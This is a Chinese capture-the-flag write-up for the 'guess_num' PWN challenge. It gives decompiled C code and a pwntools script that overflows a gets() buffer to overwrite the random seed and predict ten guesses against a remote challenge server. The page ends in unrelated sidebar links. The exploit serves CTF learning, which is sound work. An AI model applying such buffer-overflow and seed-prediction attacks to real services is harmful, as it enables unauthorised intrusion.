当前位置:网站首页>PWN攻防世界guess_num
PWN攻防世界guess_num
2022-06-29 02:31:00 【Day-3】

首先,我们先查看一下文件属性和防护。
防护基本上全开了。将文件丢入IDA。
__int64 __fastcall main(int a1, char **a2, char **a3)
{
int v4; // [rsp+4h] [rbp-3Ch] BYREF
int i; // [rsp+8h] [rbp-38h]
int v6; // [rsp+Ch] [rbp-34h]
char v7[32]; // [rsp+10h] [rbp-30h] BYREF
unsigned int seed[2]; // [rsp+30h] [rbp-10h]
unsigned __int64 v9; // [rsp+38h] [rbp-8h]
v9 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
v4 = 0;
v6 = 0;
*(_QWORD *)seed = sub_BB0();
puts("-------------------------------");
puts("Welcome to a guess number game!");
puts("-------------------------------");
puts("Please let me know your name!");
printf("Your name:");
gets(v7);
srand(seed[0]);
for ( i = 0; i <= 9; ++i )
{
v6 = rand() % 6 + 1;
printf("-------------Turn:%d-------------\n", (unsigned int)(i + 1));
printf("Please input your guess number:");
__isoc99_scanf("%d", &v4);
puts("---------------------------------");
if ( v4 != v6 )
{
puts("GG!");
exit(1);
}
puts("Success!");
}
sub_C3E();
return 0LL;
}
用IDA64打开,找到main函数,F5反编译,可以分析得出其基本逻辑为:首先从输入gets一个姓名,然后用种子初始化随机数发生器,对生成的随机数进行处理,然后输入一个整数,将随机数处理后的值与输入数值进行比较,如果10轮比较都相同则成功,随即调用sub_C3E()。该函数会cat flag。
编写Python脚本:
from pwn import *
from ctypes import *
context(os='Linux',arch="amd64",log_level="debug")
content = 0
def srand():
lib = cdll.LoadLibrary("libc.so.6")
lib.srand(1)
for i in range(10):
number = str(lib.rand() % 6 + 1)
day3.recvuntil("Please input your guess number:")
day3.sendline(number)
def main():
global day3
if content == 1:
day3 = process("guess_num")
else:
day3 =remote("111.200.241.244",49182)
payload = b'a' * (0x30 - 0x10) + p64(1)
day3.recvuntil("Your name:")
day3.sendline(payload)
srand()
day3.interactive()
main()




获得Flag。
边栏推荐
- EMC、EMI、EMS的關系
- PHP的exec函数
- "The first share of endoscope" broke into IPO two times. Last year, it lost 500million yuan. The commercialization of core products is still in doubt | IPO Express
- [sans titre]
- Install kibana
- 正则表达式(?:pattern)
- Wechat applet custom component
- Koa 快速入门
- String attribute exercise
- Pyinstaller打包pikepdf失败的问题排查
猜你喜欢

Target detection - ADAS practice

三角函数计算

Koa quick start
![[sans titre]](/img/36/2f9319e05157ab6a8dd5aa3bef4505.png)
[sans titre]

Handling method of occasional error reporting on overseas equipment
![[redis] list type](/img/c7/adec2aaea50d69a0aed95bfe683b9e.png)
[redis] list type

Install kibana

SystemVerilog structure (I)

Mipi d-phy -- contents of HS and LP agreements

Use photoshop2022 to create a wonderful gradient effect for pictures
随机推荐
对补wasm环境的一些测试
Some tests on complementary wasm environment
【网络通信学习笔记】Socket.IO的搭建和部署
PHP system function
thinkphp5.1 runtime文件改成777权限了, 还是无法写入
组合数据类型之元组小练习
table通过伪类实现 另类自适应
[sans titre]
String method exercise
字符串输出
微信小程序自定义组件
How does sound amplify weak sounds
Programmers whose monthly salary is less than 30K must recite the interview stereotype. I'll eat it first
Set set
计算矩形面积
Google Maps API v3~ simply turn off infoindow- Google Map API v3 ~ Simply Close an infowindow?
信息学奥赛一本通 1361:产生数(Produce)
Introduction to openresty
[learning notes] subsets and questions
Is there any risk in opening an account for Dongfang fortune stock? Is it safe for Dongfang fortune to open an account